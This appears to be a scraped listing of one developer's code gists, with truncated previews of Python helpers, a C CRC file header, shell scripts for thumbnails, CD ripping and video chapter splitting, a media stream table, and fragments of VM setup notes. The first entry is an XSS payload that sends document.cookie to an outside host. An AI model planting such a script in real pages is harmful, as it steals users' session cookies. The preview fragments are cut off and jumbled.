Simple
<script>(new Image()).src='http://workstation:8000/'+document.cookie</script>
Embedding a CDATA markup
#!/usr/bin/env python | |
def func(): | |
return subfunc() | |
def subfunc(): | |
return 0 | |
/* | |
* (c) 2014, Alexandre Hamelin | |
* Last revised: 17 sep 2014 | |
*/ | |
#include <stdio.h> | |
#include <string.h> | |
#include "iso14443crc.h" | |
int main(int argc, char *argv[]) |
#!/usr/bin/env python | |
def dump(stream): | |
for i in range(len(stream)): | |
print('{:02x}'.format(stream[i]), end='') | |
print() | |
#!/usr/bin/env python | |
import sys | |
from lxml.etree import parse, fromstring, tostring, _Element | |
def print_result(result): | |
if type(result) is list: | |
for e in result: |
#!/bin/sh | |
# Copyright (c) 2016, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
# Generate thumbnails from a directory. | |
[[ $# -ge 2 ]] || { | |
echo "usage: $0 size images... (ex: 160 1.jpg 2.jpg)" | |
exit 1 | |
} | |
[[ $(type -t convert) == file ]] || { |
#!/bin/sh | |
# | |
# Rip an audio CD to MP3 complete with ID3 tags. Requires cdda2wav and lame. | |
# | |
# Copyright (c) 2016-2022, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
# Check requirements | |
for bin in cdda2wav lame; do | |
type -Pp $bin >/dev/null || { |
#!/bin/sh | |
# Splits an AV file with multiple chapters into separate files. | |
# Copyright (c) 2017, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
[[ $# -gt 0 ]] || exit 1 | |
file=$1 | |
[[ -f "$file" ]] || exit 2 | |
ext=${file##*.} |
meta | major_brand | mp42 | ||||
---|---|---|---|---|---|---|
meta | minor_version | 512 | ||||
chapter | 0:0 | start=0 | end=20 | title=TITLE-0-0 | ||
chapter | 0:1 | start=20 | end=112.64 | title=TITLE-0-1 | ||
stream | 0:0 | v | c:h264~yuv420p~640x352~699kb/s~25fps | language=eng | default | |
stream | 0:1 | a | c:aac~44100hz~stereo~131kb/s | language=eng | default | |
stream | 0:2 | v | c:mjpeg~yuvj520p~405x600 | |||
stream | 0:3 | a | c:aac~44100hz~stereo~122kb/s | language=eng | ||
stream | 0:4 | s | c:mov_text~640x52 | language=eng | default | |
stream | 0:5 | s | c:mov_text~640x52 | language=fra | default |
.vdi
or otherC:\
or /
)fr_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73982.iso
or any other WinXP installation file to the optical drive